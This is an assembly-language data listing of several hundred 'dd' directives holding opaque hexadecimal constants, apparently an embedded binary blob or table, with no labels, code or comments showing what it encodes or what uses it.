dd 3CCCE48Ch, 0AD822452h, 0A25CF193h, 9D97E520h, 81A070Ch
dd 246368A3h, 0D2A8828Bh, 0FC75FA30h, 228646D9h, 0F2BB00C0h
dd 9236AE75h, 0B00C206h, 0F0C1B7E5h, 9053E61Bh, 0A58C81A6h
dd 37087918h, 0C4D0AB8Ch, 65005C3Ah, 0DA0D1637h, 1677F450h
dd 33345EBFh, 0C9FEF4B4h, 2A0B5B18h, 877E19h, 0AB2C02C2h
dd 496CA39h, 50231507h, 44C2AD2Fh, 9D8CEDBh, 3ECF7576h
dd 4C042C8Bh, 0FFF346A1h, 52F100E1h, 54DA2623h, 0D6E68088h
dd 1202A400h, 40048EA3h, 4BC30013h, 0C218E7DDh, 491B5E5h
dd 5B1847D1h, 0BCB2B907h, 68F3C3EAh, 0DD2DC1EFh, 483059F7h
dd 0CEB3F11h, 4111225Eh, 0B9F7614Bh, 40E2597Fh, 0C0937A83h
dd 4EBCE500h, 0BD245FCCh, 90BCB9CEh, 43C1C8DAh, 8C8D7553h
dd 28C614Ch, 2BCEFDF9h, 4419B2E4h, 0FDD1E210h, 48B8C42Ah
dd 788B5F00h, 0F3BA032Dh, 12087555h, 8DC4819h, 8FC3DF34h
dd 8ED9E975h, 0C8808C73h, 4CA7587h, 37CD2910h, 23502ED6h
dd 508200A2h, 0FFC39454h, 0C1120D00h, 2A1124FAh, 6151254Dh
dd 0C6BD8417h, 0D6954C03h, 5EB864FEh, 0E212AC8Dh, 0F8D03C70h
dd 9FD42Bh, 94262D06h, 0F98945C8h, 458CCA2Ch, 0C303B826h
dd 0D2E8792Ch, 802059D8h, 0EF72DC5Bh, 3090A7C4h, 0EE88E081h
dd 4F11D428h, 80FE0783h, 0CB27026h, 1FDFF458h, 0C31FD6FDh
dd 1AE738A3h, 0B4F6D3h, 682566ECh, 0B4175190h, 5C5A904Ch
dd 2F129C43h, 71EC8849h, 751810E9h, 80049C1Bh, 13E625Ah
dd 367D92DDh, 0D89278B9h, 0D0A064D0h, 3FEB0091h, 72EADF28h
dd 0CC968D76h, 2FA6680h, 9D4753h, 4E70BAF3h, 412899BDh
dd 160E5493h, 902F34Fh, 71DADC8Ch, 0AA6904A0h, 2148B2DEh
dd 958F90B7h, 139FBC74h, 233D29A3h, 80B827D4h, 0B74FFBF4h
dd 0FC05434h, 0EB91EC8h, 41DF3E9Ch, 944A409Eh, 68DDDA97h
dd 733E927Ch, 7223EA3h, 0D03F8157h, 0B383A6C7h, 0EEA3B4h
dd 0E8E59110h, 1FDA5295h, 1C4B6C00h, 0EF8EABF7h, 974200DBh
dd 9D571B16h, 5400C2C8h, 471E3E81h, 3CAE32A7h, 7E1D90BEh
dd 0BD3030A3h, 0DE7C0891h, 1B5F9F74h, 4C0F2FE8h, 49EB42BFh
dd 0BCC7C909h, 54D704A3h, 13C93C17h, 3AB33C28h, 8D008388h
dd 3DAB18F5h, 4513B499h, 0A49AB9D4h, 0C0128CC7h, 272D3253h
dd 0A87F1901h, 0A13F2946h, 375E7074h, 0C5994F21h, 0F058CD2Ch
dd 0F87EA0A5h, 0C6284061h, 7300BB7Eh, 80ED7520h, 9537D098h
dd 96B5E0E5h, 1F465EE4h, 5AF14201h, 48ABBDD4h, 4BFA5384h
dd 1836ED40h, 88EBC9CDh, 844AF498h, 61E0E837h, 0B6B05407h
dd 0A57F5804h, 5FC66100h, 0F97823D0h, 1BA6299Fh, 0DEB19684h
dd 39D4C7C4h, 5F09CF80h, 11403DB1h, 0A4E64F02h, 94FAA0F5h
dd 943644h, 260E0411h, 0C2C49521h, 4831221Fh, 82703C84h
dd 11F20CE2h, 1C43B930h, 560BE9BDh, 0DDA48EBBh, 47EE0063h
dd 8D51F85Bh, 0F0CE582Eh, 2FBC9A62h, 0E79175C3h, 82B6E000h
dd 0FD2DC5D0h, 0D0E1505Ch, 47752A29h, 22890080h, 9D2DD395h
dd 90A150D1h, 7FC3DC3Dh, 0A3F58E05h, 0BC01F63Eh, 0BF793059h
dd 722820h, 0E71D80EFh, 50C243B5h, 81C08A73h, 0C7D3593Ch
dd 0E2F72F28h, 612EFC00h, 2D1853D2h, 86582397h, 0E4F32AE3h
dd 821E00D4h, 1511CDB8h, 0E21F0845h, 7CC0356Ch, 790F1653h
dd 22435FDAh, 4530A170h, 0ABF81637h, 3E40CB70h, 84370CF4h
dd 480380EEh, 0AA125847h, 564309Ch, 0DC884377h, 8BE34AB2h
dd 0C0BBC828h, 140638BCh, 0A00BC525h, 85F5DAFCh, 48F073B4h
dd 0D61215DCh, 23C43BE2h, 351F3Bh, 45636489h, 0BB31DEEBh
dd 27EDB840h, 0A4232C23h, 0A537640Fh, 9038B8ABh, 374C0103h
dd 0D0B19624h, 3EAE106Fh, 88AF29B2h, 184F7984h, 0F0B507D5h
dd 109AAC74h, 0CD2B124Eh, 400A9524h, 59D0A909h, 56314050h
dd 0A501E062h, 0E339FCCh, 0C687D71h, 9D587A80h, 6A00ECB1h
dd 3AFE95FFh, 520EA09Fh, 4CF254B3h, 3F0B0630h, 48822A18h
dd 0D90D1270h, 0A2574C40h, 778B5180h, 0ADA40016h, 70BC0635h
dd 0DC0AA94Bh, 0E4A50D3Fh, 430EE302h, 0A5648E29h, 6CB4F23Dh
dd 0DED20A83h, 64235Eh, 3254DBE2h, 0B4297659h, 0ECD1D89Ah
dd 90005818h, 63F523D6h, 27EF7739h, 2C91DA44h, 4C08110Ch
dd 108A3980h, 4B73851Eh, 21AB3930h, 3DF07D6h, 0C94412A8h
dd 0A0B00351h, 449A1EAFh, 0E2504E52h, 0BD31301Eh, 8888B128h
dd 0D2F328A0h, 3B54703Ah, 0B0592AADh, 0EA64F900h, 260B4887h
dd 584500B8h, 0F284A9E3h, 0A21E4F04h, 0CCD873BDh, 0C05DF408h
dd 9209A939h, 700099E8h, 0C1B0BC87h, 9940483h, 0CA46AC53h
dd 2BC8A48Ch, 97599D13h, 75776C01h, 7C31DDEEh, 0F1C0F05Bh
dd 0EC14C34Fh, 1B74B16h, 24597842h, 71407988h, 3952184Fh
dd 0F3805174h, 0C337AAF2h, 5D30C7ABh, 0CFBDB059h, 950A2C66h
dd 99ECDCA8h, 74ED5F00h, 0E2EE3EB1h, 0BD014B3h, 2826C81Dh
dd 0C0F718F8h, 3AFEDADBh, 916C1797h, 0A1488088h, 529A74Bh
dd 371B9535h, 8090F252h, 620F872Bh, 9B4500C4h, 0DD707A0Ah
dd 1700D7D1h, 0D2974133h, 0BCE267FCh, 6F00DCE8h, 0D2FA1912h
dd 1A865BC1h, 0A9AAA9ADh, 4035C082h, 967A72Eh, 546404EBh
dd 0A7A14CC1h, 0F023446Dh, 16A4C914h, 44CB1053h, 61A17B00h
dd 2BECDB6Ah, 0A801C514h, 3C3378DCh, 0E02FC1BFh, 0EF641Eh
dd 7152B07Ah, 69074776h, 0DCDEFA1Fh, 80B91809h, 7E1BC324h
dd 0AE5330D8h, 0F90FD98h, 4475D0A0h, 680B9A05h, 0C09148B5h
dd 6E2E4674h, 0E57C0028h, 0E8E0580Fh, 3DC42C13h, 7FA3DC44h
dd 1CDDE5E8h, 23EC2F12h, 20AF7409h, 0C1AAEBD0h, 0BB79C2E2h
dd 2CC93388h, 244EEDF3h, 2C0071ECh, 0CC46CEAFh, 0FE0E3FD8h
dd 53E30990h, 0B48C5708h, 0A9B03741h, 3A196B00h, 252109A4h
dd 0E5FA0908h, 0AC01298Fh, 0E09883E3h, 40630B2h, 28F77554h
dd 0D2802070h, 47058200h, 4F6FA2Fh, 29830084h, 0F9F355EBh
dd 13031599h, 0F854C17Ch, 0D08158FAh, 18C10E8h, 0DCC9BB8Eh
dd 40D18CCFh, 910DABECh, 0C44FAD4Ah, 0ACE648F4h, 3626D664h
dd 467C3811h, 41070EBBh, 0BD7CE2A5h, 1D6859C2h, 4241760h
dd 8B3DC5CCh, 0C0ECC8C0h, 0EE6AF9BCh, 4E76E9E2h, 88553C12h
dd 71740081h, 1C6D8DC8h, 1608C4FFh, 0BD9C00E7h, 0F42E665Fh
dd 8F0008B1h, 0F99661D8h, 17C7A0Eh, 65B782C5h, 2E45BA31h
dd 0C023143Ah, 0F4BA9200h, 59733Bh, 9CCEAA7Eh, 5450951Ah
dd 0DCFF4B09h, 0F3DC0584h, 0D6D03089h, 3B5E00F2h, 1B4C6082h
dd 7D0F406Fh, 6DE008FEh, 0B864B8A0h, 76A91112h, 0C3AA1771h
dd 84DDD0C8h, 2D9FA009h, 0DEE800F4h, 947537DAh, 4EE30104h
dd 0E403E554h, 809174DFh, 465E102Eh, 0F3480047h, 18C09363h
dd 0F9EB18CDh, 0F75971D9h, 0C317589h, 20222C31h, 0CE30BAF2h
dd 35B300F1h, 41E36036h, 8812B9CCh, 200322FFh, 0D14933h
dd 0FE0C6431h, 0F29189B4h, 0E7202916h, 20BC0C22h, 90B788Fh
dd 823DEE00h, 5A9CE132h, 19D9F4D2h, 29A8390Eh, 26F8CF85h
dd 0FC05ED64h, 7803CBF8h, 1628E88Ch, 21E474FDh, 0C72982C8h
dd 550071E6h, 4DA77723h, 0DC73E7h, 1F2EF7F2h, 3C58C920h
dd 0FCEA51h, 17B4AAE8h
dd 9C92F64Eh, 61CE3085h, 5853F810h, 61A694E0h, 0E6874400h
dd 122A1CBDh, 0BC2404DAh, 0C0373378h, 4CA53C48h, 9496F0B0h
dd 73A14674h, 0BCF5EC13h, 0B1502C1Fh, 18BD701Eh, 712F29B9h
dd 0C1E09E6Bh, 80608EE4h, 0BFBB4074h, 48394C27h, 1F118C18h
dd 4747516Ch, 0F12B3D66h, 39225EB2h, 3568623Ch, 80DA04B5h
dd 0ECFCB3B0h, 125CF059h, 0B4B4F192h, 300E0031h, 0FA749F3Bh
dd 83030D3Fh, 0DC770AC6h, 0D922E8FBh, 0ABCA136Fh, 71F4A282h
dd 160CB400h, 9D348AE6h, 0C25500E9h, 0DA5603E3h, 51134520h
dd 0A8E44932h, 2B923D4Ah, 10A86D00h, 0DE29A5A1h, 16BE0700h
dd 15A6CFFDh, 1023486Eh, 0B284A392h, 95C0304Ch, 0A01CF8E0h
dd 6E8398CFh, 8A6DA915h, 0EE8882B8h, 0EE14CD72h, 5CFD76A0h
dd 0D44020E7h, 0A8920135h, 456DAB66h, 160BB4Bh, 5EDF04F2h
dd 0E0104037h, 0BB4AE468h, 82940Fh, 0FAF39E75h, 53C94ADBh
dd 4E10087Ch, 0B3FDA3CFh, 48E85C2Bh, 0FDD2E3A0h, 0CECF3A01h
dd 6E603B5Dh, 52C913D8h, 0ECB2703Dh, 128CA30h, 0C5F971D7h
dd 222B4398h, 200B0428h, 0DC01B999h, 44D5C937h, 0A5F48380h
dd 60B824E4h, 5A8CFFACh, 0A7CC889Ah, 0AC663100h, 46C23043h
dd 1C1B07DAh, 0D4B52B7Dh, 92C08491h, 92330AE4h, 2F890543h
dd 0E4423A0h, 0A9859FC7h, 8BC887Bh, 0A00E0B1h, 0F5065783h
dd 1BC601F2h, 0BB3577EFh, 0FE4B60C8h, 2AF1DF3Fh, 8207E044h
dd 83C53B9Dh, 2BC46049h, 3CD14907h, 5C616B27h, 402310FFh
dd 915400D7h, 0DD56FAB6h, 0FC079B72h, 0A9B2923Ah, 0E8C7AC00h
dd 0E253075Ch, 938354DEh, 6813A446h, 0B4203C37h, 4A7E03h
dd 61A124D6h, 4B72332Ch, 0FA40C496h, 97BA0EE3h, 0E511FC17h
dd 0D2393780h, 0D97628BCh, 0E0ECFD14h, 103D0EFCh, 2C4251E9h
dd 0C330FFA2h, 502D2CD8h, 8F467468h, 0EC024703h, 3900290Bh
dd 0E185ACDDh, 9BA2B8h, 5C98EBB6h, 0F76A33F3h, 0B3051CB0h
dd 1EE8EFDCh, 3E2964C1h, 5BC8403Ah, 989CCD94h, 0DC2764FAh
dd 914C977Ah, 0EEAA8146h, 0FCC8BAECh, 5CA70405h, 84F5C4C7h
dd 279C8C94h, 19D7900Fh, 1F3E4003h, 4208DE1h, 2DCE148Eh
dd 3D6CB4B5h, 0F8B4BBEEh, 0F83FA300h, 9B76282h, 1628076Dh
dd 0D6146481h, 0B31C6457h, 2E46FB44h, 8418D2BCh, 0A2DD4B16h
dd 0CB591660h, 0EAB3A44Fh, 102DC529h, 0E80372Ch, 41590FAFh
dd 24851780h, 0A7007DFBh, 26FF7967h, 875AFAh, 2175EB6Bh
dd 48EE8251h, 0FC25CE00h, 169C7FD9h, 0F10400DAh, 0BD7355D3h
dd 7A302172h, 36710E5h, 2356004Fh, 2CB891B3h, 3A00D06Eh
dd 20EE6A51h, 0CF3FFDh, 0C9B170C6h, 0FB8360DAh, 9D95EB0Fh
dd 525920F9h, 18C5EAFh, 1A0812B5h, 70FAFDCDh, 8005F320h
dd 0CE5A672Dh, 0C064E008h, 2BCDFDF8h, 0B0EC38F5h, 71FDD0F5h
dd 0DCA20085h, 599C8EC6h, 9D27BDDFh, 0C5482FA0h, 30DBE38Dh
dd 97FFDC0h, 12003F6Ah, 0DBF03B3Dh, 489CCF84h, 884F10BDh
dd 400E480h, 78D4EECEh, 46D0D3h, 707144B3h, 0DB3B1934h
dd 4824DA5Bh, 0A3553CC1h, 48022400h, 971C20B5h, 882C64h
dd 2E181FDEh, 8F44AD01h, 85794F01h, 3C5ED354h, 0D110F036h
dd 34F20441h, 0B01C85DDh, 4FF5A372h, 811C85Bh, 25E87BB8h
dd 0E5215827h, 62FFE444h, 14511Ch, 0A14C4AB7h, 5A78851Ah
dd 0AA2E680Dh, 2FE03175h, 0BA572CE6h, 0F8465E30h, 0B348406h
dd 9EF6E94Eh, 9F462400h, 0C2BD8997h, 0FB8BA1Eh, 0B93FDADEh
dd 324AF879h, 0FFB80038h, 86283647h, 782E0035h, 3765EA4Fh
dd 637C1320h, 0BB2CA507h, 6270517Fh, 0BCC65EBDh, 77438224h
dd 0AC91A26Dh, 4B04EA81h, 2DF2C88h, 0C15B766Ch, 0B0F1C427h
dd 8764BB80h, 9A01C8h, 1B725604h, 0EAF2C8Ch, 6AA33B01h
dd 76AA9783h, 0A8B4223Ah, 5A055310h, 201C0973h, 0CC11F4C5h
dd 0FABD685Ch, 5DF2730h, 0D69493DEh, 0F8B26Bh, 8D25B5B9h
dd 26A9177h, 174C3FBBh, 0D459E2F2h, 40327E00h, 0E9A5D0h
dd 1FE859B7h, 0EE0E3F99h, 3D08CCB6h, 75E2822Eh, 0C450EB65h
dd 0A9B7AE1Dh, 85802BEDh, 8CB43C6Ch, 816200FDh, 3936B510h
dd 9200AA27h, 0EFA52EDCh, 0FCD8CFEDh, 404D0517h, 20394EE3h
dd 8DA05B9Ch, 3659A40Eh, 0A5DE802Dh, 93224DCh, 44893DA9h
dd 0E89104EEh, 8CAFFC80h, 7574ECh, 14CF41B9h, 0EEA11219h
dd 0A9E2720Bh, 4010D18Fh, 798624F8h, 746A9E05h, 0A300E331h
dd 0DF7AB285h, 1F584AE7h, 28842DD4h, 74CA132Eh, 5100A3DFh
dd 0E4263A0Fh, 3FD9135Ch, 0C1288571h, 0E843BE04h, 0E0C1427Dh
dd 8C613735h, 11A520BCh, 0C4A44844h, 85CF6216h, 2024505Eh
dd 3A2467Eh, 34F4DECAh, 12E9E631h, 1360D8DBh, 30D40824h
dd 0E83D9D89h, 0FD95B24h, 5FBC6E35h, 0E8513682h, 3B7974F1h
dd 7EC6918h, 0B1342D01h, 46B788D1h, 6963020h, 3F5EBF84h
dd 849C3135h, 0E30A0807h, 7C1022C5h, 173125CCh, 80BB91D8h
dd 90414019h, 0C3823D1Ah, 39F6F200h, 547F7472h, 0B420DC4Eh
dd 4C370Bh, 0BBB26838h, 2A87F6Bh, 59267DF4h, 4DE8821h
dd 0AABD1319h, 0F3171F8Eh, 0EB070E4h, 73713D86h, 1E334780h
dd 5F0EFBA1h, 33952729h, 87E2F8F2h, 0ADC0C531h, 0B6DB0027h
dd 302E8967h, 0E1C0B339h, 9B147BC1h, 6A011C36h, 8108753h
dd 0EE09D04Dh, 0C10C1DCFh, 3166AFA8h, 512927B3h, 0CFDC20E8h
dd 0A8F8C826h, 98C42Dh, 0B453BB66h, 0EF7712E7h, 1C244A00h
dd 0A6262F86h, 0A3A4E688h, 8CC91CACh, 7E80BF7Ah, 683E29C5h
dd 762FC478h, 4AA898ABh, 0A40C04BFh, 0FD5229F0h, 205E12D8h
dd 4CA00825h, 0A9E31B82h, 80E2A174h, 0F300D852h, 8ED9562Dh
dd 48325122h, 14042CE0h, 0C83CA163h, 5E006710h, 0DA4E2513h
dd 7E5FF1Ah, 4428F77Ch, 97659027h, 5404F419h, 1FB8CD3Fh
dd 5680C484h, 4CD5CF4Bh, 461D8CF5h, 0C030D6DFh, 2459E364h
dd 3CA75318h, 5C22F321h, 0BA2D942Fh, 0FF11CC17h, 8482C689h
dd 900A29FEh, 96F97284h, 0DA7C5CC2h, 544E0014h, 0F2DBCC94h
dd 26159DF3h, 2DAC83CAh, 5B1CE80Bh, 2DF017Eh, 2B317134h
dd 1B5DDC76h, 35C59801h, 8559EE5Ah, 0F918356Ah, 0AAF4A918h
dd 5DF430F2h, 0BA087849h, 88163C00h, 5709BF19h, 13C517ACh
dd 0AFF809FEh, 44E42045h, 0AB5DE660h, 4FA13D13h, 0CEBD5845h
dd 62C388FCh, 7CA887F7h, 480367FDh, 0D972E3E9h, 0C4495857h
dd 0B9D1080Bh, 787A3CC8h, 54542980h, 9DCC4F6h, 0E0EB213Fh
dd 0F4E0E48Eh, 5CD59FA8h, 0E840B124h, 4169B460h, 0CCD2003Fh
dd 0AC75DBAEh, 1709FFB2h, 0A0BC5F0Bh, 732D5370h, 48009739h
dd 0A42C7D1Ah, 4F75E304h, 740430Ah, 0B7693D3Ch, 0EFF5A200h
dd 0B09864DBh, 316518B5h, 0A7FBB040h, 0A5753A38h, 0B6206387h
dd 37DA1388h, 0B0E857D5h, 9D161A84h, 0ACC3C065h, 0C320E8EEh
dd 82C9CE5h, 0AB129A95h, 69857404h, 0C7D34E01h, 0C4D075CCh
dd 833D57E0h, 0C5B0D44Bh, 0D987F207h, 2CE21771h, 0D6A0FC95h
dd 94E98E00h, 1D79B5C1h, 0BCA00685h, 0D01E4F40h, 68E08300h
dd 0FFC12044h, 15170045h, 0B51A5147h, 99680D6Dh, 0C509D0B8h
dd 5990E8A2h, 945B8054h, 43149D09h, 3F05A35h, 0F8F165E0h
dd 9CAF53E3h, 0BBE82369h, 0C8C65E2Fh, 5C9F5B98h, 0EC807439h
dd 0C4E15F9Eh, 76695507h, 1819296Eh, 51CCCF10h, 0A03AB81Ch
dd 67122D5Dh, 5822D9AAh, 6CD208h, 468DBC66h, 29B8C35Dh
dd 985FCA00h, 20B0AC77h
dd 8358177Ch, 0B3009CF4h, 30A00D00h, 0E195A9B2h, 96B7106h
dd 55A569F9h, 17052C82h, 4675E81Bh, 8BFE5FD9h, 0F1B20B0Ch
dd 83DCC975h, 5BE4413Bh, 3230A52Bh, 5470405Ch, 0F1333Eh
dd 0D99C14F2h, 0D4A53736h, 4B8B58F1h, 366F7010h, 548C6300h
dd 572FD689h, 0C441CBCh, 35C94h, 0B4DA7611h, 0FD54DD75h
dd 4414DBD4h, 1D87E72h, 612D54CCh, 0B428C3AAh, 6560C188h
dd 18E2CC7h, 0B30436F5h, 504A8757h, 714742DCh, 98C81F26h
dd 2C239D85h, 48376088h, 48C27C21h, 2043163Fh, 410598DBh
dd 6135EE07h, 3BF258B2h, 7A9DA033h, 0B86112CBh, 0BD2CD0F1h
dd 765CC0A6h, 0B05C00F7h, 0AE2E5BA7h, 88F80E09h, 0CF2ABDE1h
dd 8EEB0E70h, 0AA0B20E8h, 2658C8B4h, 0B6BD1A54h, 5C5111A2h
dd 9C218700h, 474562h, 0A85339C7h, 0EE657E75h, 0D21C1612h
dd 612FEC04h, 0BDA4041Dh, 7CC489C3h, 94095AFCh, 4C54100Bh
dd 9F013C8Eh, 3031EF00h, 0FDDBE55Eh, 0C2280801h, 0CC48ED82h
dd 2F5A8478h, 7E62344h, 52256EDFh, 5476AAh, 0AC095096h
dd 72AC815Eh, 0C04967D3h, 88F1C820h, 0AB24A6ECh, 0A864941Dh
dd 634FBA40h, 3604837Bh, 3A9CAEBh, 16D7ECC1h, 0CD3CA840h
dd 8E635EE7h, 0C086C8A8h, 4918FDB3h, 8D53CB04h, 20C2E227h
dd 0F3284148h, 54F19C21h, 235C3A3Eh, 13CA0347h, 0BFD0066Eh
dd 6F980140h, 0C7D95A04h, 70C0A0FCh, 41D12080h, 0CF9760B3h
dd 98812928h, 0E6A9605h, 9A86FAC2h, 86F10079h, 0C78549F6h
dd 0BD0098CBh, 0A804223Fh, 89EF18h, 0A41F7C23h, 591EEB3Ah
dd 0AA4F68F4h, 9577422h, 0B0481884h, 30160B90h, 98224A39h
dd 25D4F473h, 0ED910C17h, 0AD842980h, 7D0EC4A9h, 0D2BDB6F3h
dd 0D7210CB2h, 0F2B7AA09h, 2B0B0DCh, 66EBE01Ah, 0C08F36FFh
dd 7A86E12Bh, 179530A5h, 80F39180h, 610C8D3Bh, 34F90D14h
dd 0D0F0A49Dh, 0AE12A848h, 382016DFh, 49552380h, 0C04CA824h
dd 3139F10h, 0DF1CD28h, 731910BEh, 0F35D8412h, 8416B21h
dd 1403E945h, 1003E9h, 3C2081A3h, 0D432AF47h, 0B882BEF9h
dd 6C610D7Fh, 19800CABh, 0F8FE8251h, 8FD18D1h, 9ED97A75h
dd 0B6400AC4h, 0DD537585h, 0C00D5201h, 54508171h, 0D63E1FE0h
dd 0C8F0CB88h, 0F885C046h, 3C03A76Fh, 597B9FA2h, 80B082E7h
dd 0A5C3A6A8h, 0E6444A76h, 21FE0B8h, 0FA460105h, 25E81B06h
dd 1477E054h, 9725F090h, 0BE0024A9h, 9884CCEh, 908768CAh
dd 822B6E4Ah, 6A7BDDD8h, 85348920h, 9CF8461Ch, 8CEDBCh
dd 0B742785Fh, 0EBDE2FCBh, 0F9C74809h, 430001FCh, 406A0B51h
dd 0A24C0510h, 7550D184h, 74004688h, 48F75971h, 0D4C83743h
dd 0B700FF59h, 55C6355Eh, 4B2C1B23h, 470828B5h, 80751DF4h
dd 0A87A359Ah, 0D3019DBEh, 0B23EA1AFh, 0ABE085C7h, 33290F9Bh
dd 2EA1F2BAh, 80A7F71Bh, 69212008h, 0B029B15Ah, 36C700B4h
dd 66BFBD1Fh, 3B033E22h, 8FBE9C46h, 0A9F6B862h, 6A9B0A1h
dd 2EBDE0B7h, 5E0E10AAh, 0E06373B3h, 75294606h, 43351808h
dd 7CF99092h, 0ADFBCA0Fh, 25A247E0h, 67133C60h, 29D3125Ah
dd 3AB08852h, 0C06EBB07h, 0C683A4B8h, 56FF866h, 9DBC249Ah
dd 24754124h, 0C08C47F9h, 0CA2F8322h, 0DF7440C0h, 0B23E9972h
dd 4CA97744h, 0B3C830BBh, 5CD01692h, 3ADC62EDh, 1900E994h
dd 0B22B5085h, 0F809D9F7h, 0DA3DEE59h, 75D00DCh, 0A4D2ED03h
dd 47E67DE6h, 0F0CD48h, 21DA9185h, 0EA4E61B2h, 64A0A0C7h
dd 17C07ACh, 4F42C3F4h, 0B249FA65h, 9E0F00D0h, 1AF06EA1h
dd 23EE0006h, 0DF3E3BA2h, 0E3001740h, 0D04CCCF3h, 64024Eh
dd 77941C71h, 0F9C3A5ECh, 80DED301h, 4A51DAE6h, 1D900DFh
dd 623755DCh, 18044FE1h, 40097745h, 0BE6A2C80h, 0E91F1E7Dh
dd 0EC2C01DDh, 69233C0Ah, 0CFAA1744h, 7BA99891h, 95FC407Eh
dd 49E82EC3h, 21A44B30h, 0A7CD53h, 0D396825Ch, 471CD1C7h
dd 0A46BE203h, 0D87A4B83h, 6672Dh, 84E37326h, 13A7BEC7h
dd 1F5A3C00h, 2CAA8B6Ah, 4E52011Dh, 4DFE3170h, 5BD1C4FDh
dd 3532E900h, 7B68AB66h, 0F2FB0043h, 18D01E86h, 0FA002F9Dh
dd 0AD0BDD58h, 0F1119EB0h, 0C56F1884h, 6376C126h, 1205B9Fh
dd 0A21C3D2Bh, 5E883B0h, 1D58E8F2h, 3DC17B8h, 2650D93Ch
dd 0F09F5DB1h, 0C5009048h, 8F84BB42h, 7E17136Fh, 0F1F82119h
dd 45BF81CCh, 0E814098Bh, 0ECEED15Ah, 0F300A2FCh, 316D4A70h
dd 0C40A5Eh, 0AD199D13h, 0DD02F771h, 0AC374002h, 8C9C17A9h
dd 0AB320834h, 1E23F980h, 0F8A0D01Ah, 0C27DA3h, 6FF1B93Dh
dd 0B27A24FBh, 9858F214h, 4AF7CE8h, 0BDDE5A86h, 0EC440710h
dd 3DCC21h, 0B9E82795h, 0B4601F03h, 0C95AF253h, 2888991Dh
dd 42BC2FF0h, 21B28611h, 2EA23FD3h, 42289D22h, 8DF212Bh
dd 61942C91h, 0BB661128h, 65086B21h, 14D0BA7Ah, 171C44FFh
dd 78732284h, 0FE206945h, 34933AA0h, 1CEB5807h, 2AA5E0C9h
dd 0B6006D18h, 93A7F12Bh, 1D10B911h, 80B1DA53h, 447D04Eh
dd 71000365h, 45DE662Dh, 72BD879h, 0A172E744h, 65BE50A9h
dd 0BB00E6F2h, 0F0A56629h, 7F5397h, 647E62B1h, 0F8FEE3CFh
dd 7B6F4C01h, 0FDEF3067h, 0D8E30431h, 0A592FAh, 0C3E0D264h
dd 0F6F2510Ch, 0A3000D74h, 53A61F15h, 0FE4C8Ch, 0DE9B64AAh
dd 689FB97Fh, 5F5A2D00h, 29AD604Dh, 0F1C20003h, 0F80DCC32h
dd 0E600022Ah, 0C3BFBAFAh, 779876A1h, 8303001Ch, 0B6C87E8Ah
dd 19F6E639h, 27071B90h, 9DDF703Bh, 996FC7D0h, 0AE053AB4h
dd 88CE1F80h, 0A3981268h, 40227902h, 80AB1BC4h, 17A0CCA4h
dd 9109277Ah, 0E9011ED6h, 1759097h, 1E6F3E0h, 98682EEAh
dd 0F4A1C0CFh, 515FD607h, 0B031F0h, 5A195FF6h, 0C6362B16h
dd 0F4E15F90h, 0E0F96B7h, 0E0E35447h, 2443081Eh, 7590E4Ch
dd 0E6A076A3h, 16C5EAA9h, 0D3CBD10Eh, 0CC0980B0h, 1D8D203Fh
dd 807E67D7h, 0AAB8D80Fh, 41020159h, 0A6224863h, 1D2CC062h
dd 5A4200E2h, 0B67CA48Bh, 54008D92h, 0EBB29B36h, 0AE86F3h
dd 0DD17DBDh, 0A4BFA219h, 0A7DC920Fh, 0FC6F04E8h, 6574A490h
dd 536C005Dh, 1A33D583h, 62005667h, 0C711D934h, 86E6DBh
dd 0CC16D065h, 0B1AE3B1Ch, 0B21E300h, 46E1B4C8h, 561B02A1h
dd 7EECFE8h, 632E07Dh, 1DFA907Eh, 403BF084h, 2B673ADCh
dd 80EB2711h, 40626990h, 0EEEE3D34h, 45E31D70h, 0BEE82633h
dd 3BF95BAEh, 140070C9h, 8BE807C4h, 7890C91Fh, 114BD100h
dd 8D2C94DBh, 0B6480323h, 8224363Bh, 39887BB3h, 0C200873Dh
dd 0BF8DB528h, 32A2DA3h, 7E81C6AFh, 880F1D38h, 817540D0h
dd 4970E3Ch, 78CC1EBh, 7FCED8h, 78720344h, 8FF81FABh, 4709B900h
dd 0DF94C5BEh, 84C6129Ah, 0E69B00E1h, 74386671h, 0E3A42207h
dd 4BE096C1h, 55743FEh, 0DE7D5882h, 0F2BC00A0h, 0FDA53EAAh
dd 0B5EDB200h, 0A730B40Eh, 0EEB306EBh, 20BCF16Ch, 22009278h
dd 8CB383Ah, 714E76h, 0CE257515h, 0F346E73h, 0F90004F6h
dd 4FED3217h, 0BC43DDh, 9D011B79h, 1C3A8F88h, 785F9900h
dd 40AEA12Ch, 253300B3h, 68E9A274h, 0EC09A31Ah, 80D485A7h
dd 0F15C4958h, 0EE2B7E4Dh, 89130095h, 8F0253A5h, 2028B2BDh
dd 55009C7Bh, 3ACC6B7Dh, 0B3FDF9h, 0C1BB8313h, 4EC04107h
dd 0B2C1002h, 6802489Eh, 16DDD8h, 0DCA0B89Ch, 8A90A6B6h
dd 0EDAE39h, 366D8EC1h, 0F4CE75h, 0CFA9BB10h, 0CB0DF873h
dd 50F0B6ECh
dd 0D294CD00h, 6C983277h, 2F8703F9h, 1E040D59h, 6AC34EE0h
dd 0A7524D60h, 128EB653h, 6854303h, 0E8760A9Ch, 0FC5AC900h
dd 9D0C427Bh, 6F0F00D5h, 0BC3F7137h, 9F28A14h, 78EE94Ch
dd 351DFD70h, 0EF795700h, 0EF907C8h, 90427D9Fh, 0D6366C29h
dd 0FAE8A150h, 3D45B201h, 9E256AF6h, 384CEF0h, 642D83E0h
dd 92C87CF1h, 9A008AA3h, 5267B1EBh, 7061DF4h, 2D70DEA8h
dd 13D5C065h, 0FB083F76h, 0CBCD74h, 16C14BF5h, 620E0788h
dd 0E0A71B28h, 0E43778A1h, 563F0164h, 0DAD1ADCCh, 0D44830F8h
dd 888FA801h, 0E059A5D6h, 13E2DBECh, 71D2352h, 0F082A2C8h
dd 0D465E919h, 700FDE7Eh, 60A72A6Ch, 8F90F732h, 22850F0Ah
dd 838065DBh, 92208CE1h, 0C98B1800h, 0BB93427h, 989862h
dd 56BFA868h, 0D6E37E11h, 649A6100h, 0C72C5DFFh, 0C8890305h
dd 676DF3A6h, 7DBAB4F8h, 0D09034F6h, 21394B00h, 0CFF6DCFFh
dd 0F7DD00AAh, 7892BD98h, 0E23DF4BAh, 0B8E09D6Eh, 1EB4A354h
dd 874080EEh, 0CFC290C1h, 9C9A00E9h, 0C3ADDFA1h, 8260208Eh
dd 0FB67620h, 3B0E6h, 6C1189D0h, 0A104B502h, 0E35AA4A8h
dd 3988C70Ah, 0E104B4D7h, 508CA557h, 28DA00A7h, 8FF5B75Dh
